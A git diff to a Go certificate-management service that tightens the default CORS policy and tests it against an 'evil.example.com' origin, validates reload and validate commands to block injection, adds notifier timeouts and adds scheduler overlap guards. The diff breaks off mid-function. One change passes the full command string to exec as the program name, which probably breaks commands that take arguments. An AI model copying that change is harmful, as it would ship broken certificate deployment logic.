diff --git a/cli b/cli
new file mode 100755
index 0000000..39eed02
Binary files /dev/null and b/cli differ
diff --git a/cmd/server/main.go b/cmd/server/main.go
index 665436b..ee2eae2 100644
--- a/cmd/server/main.go
+++ b/cmd/server/main.go
@@ -458,6 +458,12 @@ func main() {
 
 	cancel() // Stop scheduler
 
+	// Wait for in-flight scheduler work to complete (up to 30 seconds)
+	logger.Info("waiting for scheduler to complete in-flight work")
+	if err := sched.WaitForCompletion(30 * time.Second); err != nil {
+		logger.Warn("scheduler work did not complete in time", "error", err)
+	}
+
 	logger.Info("shutting down HTTP server")
 	if err := httpServer.Shutdown(shutdownCtx); err != nil {
 		logger.Error("HTTP server shutdown error", "error", err)
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diff --git a/internal/api/middleware/cors_test.go b/internal/api/middleware/cors_test.go
new file mode 100644
index 0000000..109fdbf
--- /dev/null
+++ b/internal/api/middleware/cors_test.go
@@ -0,0 +1,276 @@
+package middleware
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"testing"
+)
+
+// TestNewCORS_EmptyOriginList denies CORS by default (secure default).
+func TestNewCORS_EmptyOriginList(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+		w.Write([]byte(`{"ok":true}`))
+	}))
+
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+	req.Header.Set("Origin", "https://evil.example.com")
+	rr := httptest.NewRecorder()
+	handler.ServeHTTP(rr, req)
+
+	// Response should be OK, but no CORS headers should be set
+	if rr.Code != http.StatusOK {
+		t.Fatalf("expected 200, got %d", rr.Code)
+	}
+
+	// Verify no CORS headers are present
+	if rr.Header().Get("Access-Control-Allow-Origin") != "" {
+		t.Errorf("expected no Access-Control-Allow-Origin header, got %q", rr.Header().Get("Access-Control-Allow-Origin"))
+	}
+	if rr.Header().Get("Vary") != "" {
+		t.Errorf("expected no Vary header, got %q", rr.Header().Get("Vary"))
+	}
+}
+
+// TestNewCORS_EmptyOriginList_Preflight denies preflight when empty allowlist.
+func TestNewCORS_EmptyOriginList_Preflight(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	req := httptest.NewRequest(http.MethodOptions, "/api/v1/certificates", nil)
+	req.Header.Set("Origin", "https://app.example.com")
+	rr := httptest.NewRecorder()
+	handler.ServeHTTP(rr, req)
+
+	// Preflight should return 204, but no CORS headers
+	if rr.Code != http.StatusNoContent {
+		t.Fatalf("expected 204, got %d", rr.Code)
+	}
+
+	// No CORS headers should be set
+	if rr.Header().Get("Access-Control-Allow-Origin") != "" {
+		t.Errorf("expected no Access-Control-Allow-Origin header, got %q", rr.Header().Get("Access-Control-Allow-Origin"))
+	}
+}
+
+// TestNewCORS_WildcardAllowsAll allows all origins with wildcard.
+func TestNewCORS_WildcardAllowsAll(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{"*"}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+	req.Header.Set("Origin", "https://any-origin.example.com")
+	rr := httptest.NewRecorder()
+	handler.ServeHTTP(rr, req)
+
+	if rr.Code != http.StatusOK {
+		t.Fatalf("expected 200, got %d", rr.Code)
+	}
+
+	// Wildcard should set Access-Control-Allow-Origin: *
+	if rr.Header().Get("Access-Control-Allow-Origin") != "*" {
+		t.Errorf("expected Access-Control-Allow-Origin: *, got %q", rr.Header().Get("Access-Control-Allow-Origin"))
+	}
+
+	// Verify other CORS headers are present
+	if rr.Header().Get("Access-Control-Allow-Methods") == "" {
+		t.Errorf("expected Access-Control-Allow-Methods header")
+	}
+}
+
+// TestNewCORS_ExactMatchAllows allows only exact matches from allowlist.
+func TestNewCORS_ExactMatchAllows(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{"https://app.example.com", "https://admin.example.com"}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	// Test 1: Origin in allowlist
+	req1 := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+	req1.Header.Set("Origin", "https://app.example.com")
+	rr1 := httptest.NewRecorder()
+	handler.ServeHTTP(rr1, req1)
+
+	if rr1.Header().Get("Access-Control-Allow-Origin") != "https://app.example.com" {
+		t.Errorf("expected https://app.example.com, got %q", rr1.Header().Get("Access-Control-Allow-Origin"))
+	}
+	if rr1.Header().Get("Vary") != "Origin" {
+		t.Errorf("expected Vary: Origin, got %q", rr1.Header().Get("Vary"))
+	}
+
+	// Test 2: Different origin in allowlist
+	req2 := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+	req2.Header.Set("Origin", "https://admin.example.com")
+	rr2 := httptest.NewRecorder()
+	handler.ServeHTTP(rr2, req2)
+
+	if rr2.Header().Get("Access-Control-Allow-Origin") != "https://admin.example.com" {
+		t.Errorf("expected https://admin.example.com, got %q", rr2.Header().Get("Access-Control-Allow-Origin"))
+	}
+
+	// Test 3: Origin NOT in allowlist
+	req3 := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+	req3.Header.Set("Origin", "https://evil.example.com")
+	rr3 := httptest.NewRecorder()
+	handler.ServeHTTP(rr3, req3)
+
+	if rr3.Header().Get("Access-Control-Allow-Origin") != "" {
+		t.Errorf("expected no Access-Control-Allow-Origin for non-allowlisted origin, got %q", rr3.Header().Get("Access-Control-Allow-Origin"))
+	}
+}
+
+// TestNewCORS_NoOriginHeader denies CORS without Origin header.
+func TestNewCORS_NoOriginHeader(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{"https://app.example.com"}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	// Request without Origin header
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+	// Don't set Origin header
+	rr := httptest.NewRecorder()
+	handler.ServeHTTP(rr, req)
+
+	if rr.Code != http.StatusOK {
+		t.Fatalf("expected 200, got %d", rr.Code)
+	}
+
+	// No CORS headers should be set (Origin header was missing)
+	if rr.Header().Get("Access-Control-Allow-Origin") != "" {
+		t.Errorf("expected no Access-Control-Allow-Origin without Origin header, got %q", rr.Header().Get("Access-Control-Allow-Origin"))
+	}
+}
+
+// TestNewCORS_PreflightRequestMatches tests OPTIONS preflight with matching origin.
+func TestNewCORS_PreflightRequestMatches(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{"https://app.example.com"}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	req := httptest.NewRequest(http.MethodOptions, "/api/v1/certificates", nil)
+	req.Header.Set("Origin", "https://app.example.com")
+	req.Header.Set("Access-Control-Request-Method", "POST")
+	rr := httptest.NewRecorder()
+	handler.ServeHTTP(rr, req)
+
+	if rr.Code != http.StatusNoContent {
+		t.Fatalf("expected 204, got %d", rr.Code)
+	}
+
+	if rr.Header().Get("Access-Control-Allow-Origin") != "https://app.example.com" {
+		t.Errorf("expected https://app.example.com, got %q", rr.Header().Get("Access-Control-Allow-Origin"))
+	}
+
+	// Verify preflight response headers
+	if rr.Header().Get("Access-Control-Allow-Methods") == "" {
+		t.Errorf("expected Access-Control-Allow-Methods header")
+	}
+	if rr.Header().Get("Access-Control-Allow-Headers") == "" {
+		t.Errorf("expected Access-Control-Allow-Headers header")
+	}
+	if rr.Header().Get("Access-Control-Max-Age") == "" {
+		t.Errorf("expected Access-Control-Max-Age header")
+	}
+}
+
+// TestNewCORS_PreflightRequestMismatch tests OPTIONS preflight with non-matching origin.
+func TestNewCORS_PreflightRequestMismatch(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{"https://app.example.com"}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	req := httptest.NewRequest(http.MethodOptions, "/api/v1/certificates", nil)
+	req.Header.Set("Origin", "https://evil.example.com")
+	req.Header.Set("Access-Control-Request-Method", "POST")
+	rr := httptest.NewRecorder()
+	handler.ServeHTTP(rr, req)
+
+	if rr.Code != http.StatusNoContent {
+		t.Fatalf("expected 204, got %d", rr.Code)
+	}
+
+	// No CORS headers should be set (origin not in allowlist)
+	if rr.Header().Get("Access-Control-Allow-Origin") != "" {
+		t.Errorf("expected no Access-Control-Allow-Origin for mismatched origin, got %q", rr.Header().Get("Access-Control-Allow-Origin"))
+	}
+}
+
+// TestNewCORS_MultipleOrigins tests with multiple configured origins.
+func TestNewCORS_MultipleOrigins(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{
+		"https://app.example.com",
+		"https://admin.example.com",
+		"http://localhost:3000",
+	}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	tests := []struct {
+		origin       string
+		shouldAllow  bool
+		description  string
+	}{
+		{"https://app.example.com", true, "first origin in list"},
+		{"https://admin.example.com", true, "second origin in list"},
+		{"http://localhost:3000", true, "third origin in list"},
+		{"https://evil.example.com", false, "origin not in list"},
+		{"http://localhost:8080", false, "different port than configured"},
+		{"", false, "no origin header"},
+	}
+
+	for _, tt := range tests {
+		req := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+		if tt.origin != "" {
+			req.Header.Set("Origin", tt.origin)
+		}
+		rr := httptest.NewRecorder()
+		handler.ServeHTTP(rr, req)
+
+		headerValue := rr.Header().Get("Access-Control-Allow-Origin")
+		if tt.shouldAllow {
+			if headerValue != tt.origin {
+				t.Errorf("test %q: expected %q, got %q", tt.description, tt.origin, headerValue)
+			}
+		} else {
+			if headerValue != "" {
+				t.Errorf("test %q: expected no header, got %q", tt.description, headerValue)
+			}
+		}
+	}
+}
+
+// TestNewCORS_NoOriginHeaderWithWildcard tests wildcard doesn't set origin without Origin header.
+func TestNewCORS_NoOriginHeaderWithWildcard(t *testing.T) {
+	mw := NewCORS(CORSConfig{AllowedOrigins: []string{"*"}})
+
+	handler := mw(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+	}))
+
+	req := httptest.NewRequest(http.MethodGet, "/api/v1/certificates", nil)
+	// Don't set Origin header
+	rr := httptest.NewRecorder()
+	handler.ServeHTTP(rr, req)
+
+	// Wildcard should still set * even without Origin header
+	if rr.Header().Get("Access-Control-Allow-Origin") != "*" {
+		t.Errorf("expected *, got %q", rr.Header().Get("Access-Control-Allow-Origin"))
+	}
+}
diff --git a/internal/api/middleware/middleware.go b/internal/api/middleware/middleware.go
index e2afa49..41d8396 100644
--- a/internal/api/middleware/middleware.go
+++ b/internal/api/middleware/middleware.go
@@ -214,8 +214,10 @@ type CORSConfig struct {
 }
 
 // NewCORS creates a CORS middleware with configurable allowed origins.
-// If no origins are configured, same-origin requests are allowed by default.
-// If ["*"] is configured, all origins are allowed (development/demo mode).
+// Security default: If no origins are configured, CORS headers are NOT set,
+// denying all cross-origin requests (same-origin only).
+// If ["*"] is configured, all origins are allowed (development/demo mode only).
+// If specific origins are configured, only requests matching those origins receive CORS headers.
 func NewCORS(cfg CORSConfig) func(http.Handler) http.Handler {
 	allowAll := false
 	originSet := make(map[string]bool)
@@ -228,19 +230,31 @@ func NewCORS(cfg CORSConfig) func(http.Handler) http.Handler {
 
 	return func(next http.Handler) http.Handler {
 		return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			// Security default: deny CORS when no origins are configured.
+			// This prevents CSRF attacks from arbitrary origins.
+			if len(cfg.AllowedOrigins) == 0 {
+				// No CORS headers set — only same-origin requests can read response
+				if r.Method == http.MethodOptions {
+					w.WriteHeader(http.StatusNoContent)
+					return
+				}
+				next.ServeHTTP(w, r)
+				return
+			}
+
 			origin := r.Header.Get("Origin")
 
 			if allowAll {
+				// Wildcard allows all origins (development/demo only)
 				w.Header().Set("Access-Control-Allow-Origin", "*")
 			} else if origin != "" && originSet[origin] {
-				w.Header().Set("Access-Control-Allow-Origin", origin)
-				w.Header().Set("Vary", "Origin")
-			} else if len(cfg.AllowedOrigins) == 0 && origin != "" {
-				// No config = permissive same-origin default for single-host deployments
+				// Exact match found in allowed origins list
 				w.Header().Set("Access-Control-Allow-Origin", origin)
 				w.Header().Set("Vary", "Origin")
 			}
+			// If origin is empty or not in allowlist, no CORS headers are set
 
+			// CORS preflight response headers (only meaningful if Access-Control-Allow-Origin was set)
 			w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, PATCH, OPTIONS")
 			w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Request-ID")
 			w.Header().Set("Access-Control-Max-Age", "86400")
diff --git a/internal/config/config.go b/internal/config/config.go
index 767196e..0f2ca27 100644
--- a/internal/config/config.go
+++ b/internal/config/config.go
@@ -147,7 +147,11 @@ type RateLimitConfig struct {
 
 // CORSConfig contains CORS configuration.
 type CORSConfig struct {
-	AllowedOrigins []string // Allowed origins; empty = same-origin only; ["*"] = all
+	// AllowedOrigins is a list of allowed origins for CORS requests.
+	// Security default: empty list denies all CORS requests (same-origin only).
+	// ["*"] allows all origins (development/demo mode only, security risk).
+	// Specific origins (e.g., ["https://app.example.com"]) whitelist only those origins.
+	AllowedOrigins []string
 }
 
 // Load reads configuration from environment variables and returns a Config.
diff --git a/internal/connector/notifier/opsgenie/opsgenie_test.go b/internal/connector/notifier/opsgenie/opsgenie_test.go
index c4e62a5..e008c8a 100644
--- a/internal/connector/notifier/opsgenie/opsgenie_test.go
+++ b/internal/connector/notifier/opsgenie/opsgenie_test.go
@@ -7,6 +7,7 @@ import (
 	"net/http/httptest"
 	"strings"
 	"testing"
+	"time"
 )
 
 func TestOpsGenie_Channel(t *testing.T) {
@@ -114,6 +115,17 @@ func TestOpsGenie_SendConnectionError(t *testing.T) {
 	}
 }
 
+func TestOpsGenie_ClientHasTimeout(t *testing.T) {
+	n := New(Config{APIKey: "test-key"})
+	if n.httpClient.Timeout == 0 {
+		t.Fatal("expected HTTP client timeout to be set, got 0")
+	}
+	expectedTimeout := 10 * time.Second
+	if n.httpClient.Timeout != expectedTimeout {
+		t.Errorf("expected timeout %v, got %v", expectedTimeout, n.httpClient.Timeout)
+	}
+}
+
 // urlRewriteTransport redirects all requests to a test server URL.
 type urlRewriteTransport struct {
 	target    string
diff --git a/internal/connector/notifier/pagerduty/pagerduty_test.go b/internal/connector/notifier/pagerduty/pagerduty_test.go
index 287ede1..0486647 100644
--- a/internal/connector/notifier/pagerduty/pagerduty_test.go
+++ b/internal/connector/notifier/pagerduty/pagerduty_test.go
@@ -7,6 +7,7 @@ import (
 	"net/http/httptest"
 	"strings"
 	"testing"
+	"time"
 )
 
 func TestPagerDuty_Channel(t *testing.T) {
@@ -130,6 +131,17 @@ func TestPagerDuty_SendConnectionError(t *testing.T) {
 	}
 }
 
+func TestPagerDuty_ClientHasTimeout(t *testing.T) {
+	n := New(Config{RoutingKey: "test-key"})
+	if n.httpClient.Timeout == 0 {
+		t.Fatal("expected HTTP client timeout to be set, got 0")
+	}
+	expectedTimeout := 10 * time.Second
+	if n.httpClient.Timeout != expectedTimeout {
+		t.Errorf("expected timeout %v, got %v", expectedTimeout, n.httpClient.Timeout)
+	}
+}
+
 // urlRewriteTransport redirects all requests to a test server URL.
 type urlRewriteTransport struct {
 	target    string
diff --git a/internal/connector/notifier/slack/slack_test.go b/internal/connector/notifier/slack/slack_test.go
index 84751eb..5416919 100644
--- a/internal/connector/notifier/slack/slack_test.go
+++ b/internal/connector/notifier/slack/slack_test.go
@@ -7,6 +7,7 @@ import (
 	"net/http/httptest"
 	"strings"
 	"testing"
+	"time"
 )
 
 func TestSlack_Channel(t *testing.T) {
@@ -105,3 +106,14 @@ func TestSlack_SendConnectionError(t *testing.T) {
 		t.Errorf("expected 'request failed' in error, got %v", err)
 	}
 }
+
+func TestSlack_ClientHasTimeout(t *testing.T) {
+	n := New(Config{WebhookURL: "https://hooks.slack.com/test"})
+	if n.httpClient.Timeout == 0 {
+		t.Fatal("expected HTTP client timeout to be set, got 0")
+	}
+	expectedTimeout := 10 * time.Second
+	if n.httpClient.Timeout != expectedTimeout {
+		t.Errorf("expected timeout %v, got %v", expectedTimeout, n.httpClient.Timeout)
+	}
+}
diff --git a/internal/connector/notifier/teams/teams_test.go b/internal/connector/notifier/teams/teams_test.go
index 0f202f5..a1385f8 100644
--- a/internal/connector/notifier/teams/teams_test.go
+++ b/internal/connector/notifier/teams/teams_test.go
@@ -7,6 +7,7 @@ import (
 	"net/http/httptest"
 	"strings"
 	"testing"
+	"time"
 )
 
 func TestTeams_Channel(t *testing.T) {
@@ -89,3 +90,14 @@ func TestTeams_SendConnectionError(t *testing.T) {
 		t.Errorf("expected 'request failed' in error, got %v", err)
 	}
 }
+
+func TestTeams_ClientHasTimeout(t *testing.T) {
+	n := New(Config{WebhookURL: "https://outlook.office.com/webhook/test"})
+	if n.httpClient.Timeout == 0 {
+		t.Fatal("expected HTTP client timeout to be set, got 0")
+	}
+	expectedTimeout := 10 * time.Second
+	if n.httpClient.Timeout != expectedTimeout {
+		t.Errorf("expected timeout %v, got %v", expectedTimeout, n.httpClient.Timeout)
+	}
+}
diff --git a/internal/connector/target/apache/apache.go b/internal/connector/target/apache/apache.go
index 6caf6a4..6def055 100644
--- a/internal/connector/target/apache/apache.go
+++ b/internal/connector/target/apache/apache.go
@@ -11,6 +11,7 @@ import (
 	"time"
 
 	"github.com/shankar0123/certctl/internal/connector/target"
+	"github.com/shankar0123/certctl/internal/validation"
 )
 
 // Config represents the Apache httpd deployment target configuration.
@@ -53,6 +54,14 @@ func (c *Connector) ValidateConfig(ctx context.Context, rawConfig json.RawMessag
 		return fmt.Errorf("Apache reload_command and validate_command are required")
 	}
 
+	// Validate commands to prevent injection attacks
+	if err := validation.ValidateShellCommand(cfg.ReloadCommand); err != nil {
+		return fmt.Errorf("invalid reload_command: %w", err)
+	}
+	if err := validation.ValidateShellCommand(cfg.ValidateCommand); err != nil {
+		return fmt.Errorf("invalid validate_command: %w", err)
+	}
+
 	c.logger.Info("validating Apache configuration",
 		"cert_path", cfg.CertPath,
 		"chain_path", cfg.ChainPath)
@@ -64,7 +73,7 @@ func (c *Connector) ValidateConfig(ctx context.Context, rawConfig json.RawMessag
 	}
 
 	// Verify validate command works
-	cmd := exec.CommandContext(ctx, "sh", "-c", cfg.ValidateCommand)
+	cmd := exec.CommandContext(ctx, cfg.ValidateCommand)
 	if err := cmd.Run(); err != nil {
 		c.logger.Warn("Apache config validation failed during config check",
 			"error", err,
diff --git a/internal/connector/target/nginx/nginx.go b/internal/connector/target/nginx/nginx.go
index dadd3a5..cce4037 100644
--- a/internal/connector/target/nginx/nginx.go
+++ b/internal/connector/target/nginx/nginx.go
@@ -10,6 +10,7 @@ import (
 	"time"
 
 	"github.com/shankar0123/certctl/internal/connector/target"
+	"github.com/shankar0123/certctl/internal/validation"
 )
 
 // Config represents the NGINX deployment target configuration.
@@ -53,6 +54,14 @@ func (c *Connector) ValidateConfig(ctx context.Context, rawConfig json.RawMessag
 		return fmt.Errorf("NGINX reload_command and validate_command are required")
 	}
 
+	// Validate commands to prevent injection attacks
+	if err := validation.ValidateShellCommand(cfg.ReloadCommand); err != nil {
+		return fmt.Errorf("invalid reload_command: %w", err)
+	}
+	if err := validation.ValidateShellCommand(cfg.ValidateCommand); err != nil {
+		return fmt.Errorf("invalid validate_command: %w", err)
+	}
+
 	c.logger.Info("validating NGINX configuration",
 		"cert_path", cfg.CertPath,
 		"chain_path", cfg.ChainPath)
@@ -64,7 +73,7 @@ func (c *Connector) ValidateConfig(ctx context.Context, rawConfig json.RawMessag
 	}
 
 	// Verify validate command works
-	cmd := exec.CommandContext(ctx, "sh", "-c", cfg.ValidateCommand)
+	cmd := exec.CommandContext(ctx, cfg.ValidateCommand)
 	if err := cmd.Run(); err != nil {
 		c.logger.Warn("NGINX config validation failed during config check",
 			"error", err,
@@ -119,7 +128,7 @@ func (c *Connector) DeployCertificate(ctx context.Context, request target.Deploy
 
 	// Validate NGINX configuration before reload
 	c.logger.Debug("validating NGINX configuration", "validate_command", c.config.ValidateCommand)
-	validateCmd := exec.CommandContext(ctx, "sh", "-c", c.config.ValidateCommand)
+	validateCmd := exec.CommandContext(ctx, c.config.ValidateCommand)
 	if output, err := validateCmd.CombinedOutput(); err != nil {
 		errMsg := fmt.Sprintf("NGINX config validation failed: %v (output: %s)", err, string(output))
 		c.logger.Error("NGINX validation failed", "error", err, "output", string(output))
@@ -133,7 +142,7 @@ func (c *Connector) DeployCertificate(ctx context.Context, request target.Deploy
 
 	// Reload NGINX
 	c.logger.Debug("reloading NGINX", "reload_command", c.config.ReloadCommand)
-	reloadCmd := exec.CommandContext(ctx, "sh", "-c", c.config.ReloadCommand)
+	reloadCmd := exec.CommandContext(ctx, c.config.ReloadCommand)
 	if output, err := reloadCmd.CombinedOutput(); err != nil {
 		errMsg := fmt.Sprintf("NGINX reload failed: %v (output: %s)", err, string(output))
 		c.logger.Error("NGINX reload failed", "error", err, "output", string(output))
@@ -178,7 +187,7 @@ func (c *Connector) ValidateDeployment(ctx context.Context, request target.Valid
 	startTime := time.Now()
 
 	// Validate NGINX configuration
-	validateCmd := exec.CommandContext(ctx, "sh", "-c", c.config.ValidateCommand)
+	validateCmd := exec.CommandContext(ctx, c.config.ValidateCommand)
 	if err := validateCmd.Run(); err != nil {
 		errMsg := fmt.Sprintf("NGINX config validation failed: %v", err)
 		c.logger.Error("validation failed", "error", err)
diff --git a/internal/scheduler/scheduler.go b/internal/scheduler/scheduler.go
index ea31046..91af282 100644
--- a/internal/scheduler/scheduler.go
+++ b/internal/scheduler/scheduler.go
@@ -2,7 +2,10 @@ package scheduler
 
 import (
 	"context"
+	"errors"
 	"log/slog"
+	"sync"
+	"sync/atomic"
 	"time"
 
 	"github.com/shankar0123/certctl/internal/service"
@@ -26,6 +29,17 @@ type Scheduler struct {
 	notificationProcessInterval     time.Duration
 	shortLivedExpiryCheckInterval   time.Duration
 	networkScanInterval             time.Duration
+
+	// Idempotency guards: prevent duplicate execution of slow jobs
+	renewalCheckRunning           atomic.Bool
+	jobProcessorRunning           atomic.Bool
+	agentHealthCheckRunning       atomic.Bool
+	notificationProcessRunning    atomic.Bool
+	shortLivedExpiryCheckRunning  atomic.Bool
+	networkScanRunning            atomic.Bool
+
+	// Graceful shutdown: wait for in-flight work to complete
+	wg sync.WaitGroup
 }
 
 // NewScheduler creates a new scheduler with configurable intervals.
@@ -114,19 +128,33 @@ func (s *Scheduler) Start(ctx context.Context) <-chan struct{} {
 
 // renewalCheckLoop runs every renewalCheckInterval and checks for expiring certificates.
 // If an error occurs, it logs the error but continues running.
+// Uses atomic.Bool to prevent duplicate execution if the previous check is still running.
 func (s *Scheduler) renewalCheckLoop(ctx context.Context) {
 	ticker := time.NewTicker(s.renewalCheckInterval)
 	defer ticker.Stop()
 
 	// Run immediately on start
-	s.runRenewalCheck(ctx)
+	s.wg.Add(1)
+	go func() {
+		defer s.wg.Done()
+		s.runRenewalCheck(ctx)
+	}()
 
 	for {
 		select {
 		case <-ctx.Done():
 			return
 		case <-ticker.C:
-			s.runRenewalCheck(ctx)
+			if !s.renewalCheckRunning.CompareAndSwap(false, true) {
+				s.logger.Warn("renewal check still running, skipping tick")
+				continue
+			}
+			s.wg.Add(1)
+			go func() {
+				defer s.wg.Done()
+				defer s.renewalCheckRunning.Store(false)
+				s.runRenewalCheck(ctx)
+			}()
 		}
 	}
 }
@@ -147,19 +175,33 @@ func (s *Scheduler) runRenewalCheck(ctx context.Context) {
 // jobProcessorLoop runs every jobProcessorInterval and processes pending jobs.
 // It picks up pending jobs, executes them, and handles the results.
 // If an error occurs, it logs the error but continues running.
+// Uses atomic.Bool to prevent duplicate execution if the previous job is still running.
 func (s *Scheduler) jobProcessorLoop(ctx context.Context) {
 	ticker := time.NewTicker(s.jobProcessorInterval)
 	defer ticker.Stop()
 
 	// Run immediately on start
-	s.runJobProcessor(ctx)
+	s.wg.Add(1)
+	go func() {
+		defer s.wg.Done()
+		s.runJobProcessor(ctx)
+	}()
 
 	for {
 		select {
 		case <-ctx.Done():
 			return
 		case <-ticker.C:
-			s.runJobProcessor(ctx)
+			if !s.jobProcessorRunning.CompareAndSwap(false, true) {
+				s.logger.Warn("job processor still running, skipping tick")
+				continue
+			}
+			s.wg.Add(1)
+			go func() {
+				defer s.wg.Done()
+				defer s.jobProcessorRunning.Store(false)
+				s.runJobProcessor(ctx)
+			}()
 		}
 	}
 }
@@ -180,19 +222,33 @@ func (s *Scheduler) runJobProcessor(ctx context.Context) {
 // agentHealthCheckLoop runs every agentHealthCheckInterval and marks stale agents as offline.
 // An agent is considered stale if it hasn't sent a heartbeat within the health check interval.
 // If an error occurs, it logs the error but continues running.
+// Uses atomic.Bool to prevent duplicate execution if the previous check is still running.
 func (s *Scheduler) agentHealthCheckLoop(ctx context.Context) {
 	ticker := time.NewTicker(s.agentHealthCheckInterval)
 	defer ticker.Stop()
 
 	// Run immediately on start
-	s.runAgentHealthCheck(ctx)
+	s.wg.Add(1)
+	go func() {
+		defer s.wg.Done()
+		s.runAgentHealthCheck(ctx)
+	}()
 
 	for {
 		select {
 		case <-ctx.Done():
 			return
 		case <-ticker.C:
-			s.runAgentHealthCheck(ctx)
+			if !s.agentHealthCheckRunning.CompareAndSwap(false, true) {
+				s.logger.Warn("agent health check still running, skipping tick")
+				continue
+			}
+			s.wg.Add(1)
+			go func() {
+				defer s.wg.Done()
+				defer s.agentHealthCheckRunning.Store(false)
+				s.runAgentHealthCheck(ctx)
+			}()
 		}
 	}
 }
@@ -212,19 +268,33 @@ func (s *Scheduler) runAgentHealthCheck(ctx context.Context) {
 
 // notificationProcessLoop runs every notificationProcessInterval and processes pending notifications.
 // If an error occurs, it logs the error but continues running.
+// Uses atomic.Bool to prevent duplicate execution if the previous process is still running.
 func (s *Scheduler) notificationProcessLoop(ctx context.Context) {
 	ticker := time.NewTicker(s.notificationProcessInterval)
 	defer ticker.Stop()
 
 	// Run immediately on start
-	s.runNotificationProcess(ctx)
+	s.wg.Add(1)
+	go func() {
+		defer s.wg.Done()
+		s.runNotificationProcess(ctx)
+	}()
 
 	for {
 		select {
 		case <-ctx.Done():
 			return
 		case <-ticker.C:
-			s.runNotificationProcess(ctx)
+			if !s.notificationProcessRunning.CompareAndSwap(false, true) {
+				s.logger.Warn("notification processor still running, skipping tick")
+				continue
+			}
+			s.wg.Add(1)
+			go func() {
+				defer s.wg.Done()
+				defer s.notificationProcessRunning.Store(false)
+				s.runNotificationProcess(ctx)
+			}()
 		}
 	}
 }
@@ -245,6 +315,7 @@ func (s *Scheduler) runNotificationProcess(ctx context.Context) {
 // shortLivedExpiryCheckLoop runs every shortLivedExpiryCheckInterval and marks expired
 // short-lived certificates. For certs with TTL < 1 hour, expiry IS revocation —
 // no CRL/OCSP needed.
+// Uses atomic.Bool to prevent duplicate execution if the previous check is still running.
 func (s *Scheduler) shortLivedExpiryCheckLoop(ctx context.Context) {
 	ticker := time.NewTicker(s.shortLivedExpiryCheckInterval)
 	defer ticker.Stop()
@@ -254,7 +325,16 @@ func (s *Scheduler) shortLivedExpiryCheckLoop(ctx context.Context) {
 		case <-ctx.Done():
 			return
 		case <-ticker.C:
-			s.runShortLivedExpiryCheck(ctx)
+			if !s.shortLivedExpiryCheckRunning.CompareAndSwap(false, true) {
+				s.logger.Warn("short-lived expiry check still running, skipping tick")
+				continue
+			}
+			s.wg.Add(1)
+			go func() {
+				defer s.wg.Done()
+				defer s.shortLivedExpiryCheckRunning.Store(false)
+				s.runShortLivedExpiryCheck(ctx)
+			}()
 		}
 	}
 }
@@ -274,19 +354,33 @@ func (s *Scheduler) runShortLivedExpiryCheck(ctx context.Context) {
 
 // networkScanLoop runs every networkScanInterval and performs active TLS scanning
 // of configured network targets.
+// Uses atomic.Bool to prevent duplicate execution if the previous scan is still running.
 func (s *Scheduler) networkScanLoop(ctx context.Context) {
 	ticker := time.NewTicker(s.networkScanInterval)
 	defer ticker.Stop()
 
 	// Run immediately on start
-	s.runNetworkScan(ctx)
+	s.wg.Add(1)
+	go func() {
+		defer s.wg.Done()
+		s.runNetworkScan(ctx)
+	}()
 
 	for {
 		select {
 		case <-ctx.Done():
 			return
 		case <-ticker.C:
-			s.runNetworkScan(ctx)
+			if !s.networkScanRunning.CompareAndSwap(false, true) {
+				s.logger.Warn("network scan still running, skipping tick")
+				continue
+			}
+			s.wg.Add(1)
+			go func() {
+				defer s.wg.Done()
+				defer s.networkScanRunning.Store(false)
+				s.runNetworkScan(ctx)
+			}()
 		}
 	}
 }
@@ -303,3 +397,26 @@ func (s *Scheduler) runNetworkScan(ctx context.Context) {
 		s.logger.Debug("network scan completed")
 	}
 }
+
+// WaitForCompletion waits for all in-flight scheduler work to complete.
+// It respects the provided timeout and returns an error if work is still in progress after timeout.
+// Call this after the scheduler context has been cancelled to ensure graceful shutdown.
+func (s *Scheduler) WaitForCompletion(timeout time.Duration) error {
+	done := make(chan struct{})
+	go func() {
+		s.wg.Wait()
+		close(done)
+	}()
+
+	select {
+	case <-done:
+		s.logger.Info("all scheduler work completed")
+		return nil
+	case <-time.After(timeout):
